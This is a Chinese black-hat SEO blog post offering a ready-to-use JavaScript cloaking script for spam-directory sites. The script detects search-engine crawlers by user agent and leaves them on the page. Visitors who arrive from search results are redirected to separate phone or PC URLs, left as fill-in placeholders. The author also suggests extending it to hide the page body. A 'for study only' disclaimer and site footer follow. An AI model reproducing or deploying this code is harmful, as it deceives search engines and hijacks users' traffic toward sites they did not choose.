分设备端判断用户跳转蜘蛛不跳转的js代码

在泛目录程序中添加JS代码,是用户不修改PHP实现跳转的最简单高效的方法。

这段代码的使用访问比较广,首先判断访问的UA是否为搜索引擎,然后判断是否从搜索引擎点入,接着判断用户端,从而使电脑和手机跳转不同的网页。

function isSpider() {
//判断是否为蜘蛛,是蜘蛛返回true
  if ((navigator.userAgent.match(/(Baiduspider|YisouSpider|360Spider|HaosouSpider|AdsBot|Googlebot|bingbot|Sogou web spider|Sosospider)/i)))
    return true;
  else
    return false;
}
function is_from_search_engine(){
//如果是搜索引擎点点入
  var r = document.referrer;
  r = r.toLowerCase(); 
  var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.','bing.');//搜索引擎入口设为数组
  var b = false;
  for (var i in aSites){
    if (r.indexOf(aSites[i]) > 0){
      b = true;
      break;
    }
  }
  return b;
}
function isMobile() {
//判断如果是手机端和电脑端跳转不同的网页
  if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))
    return true;
  else
    return false;
}

if(!isSpider()){
  if(is_from_search_engine()){
    if(isMobile()) {
     window.location.href = '这里写手机跳转网址';
    } else {
     window.location.href = '这里电脑跳转网址';
    }
  }
}

这段跳转代码写的挺好的,如果是自己的网站还可以续写,写上body的屏蔽的方式,在当前页面中打开一个页面。

本站所有内容仅限用于学习和研究目的,程序仅供本地断网测试,转载请说明出处!
站群SEO » 分设备端判断用户跳转蜘蛛不跳转的js代码

发表评论

欢迎 访客 发表评论

聚合全网站群程序及推送工具!

联系站长 联系客服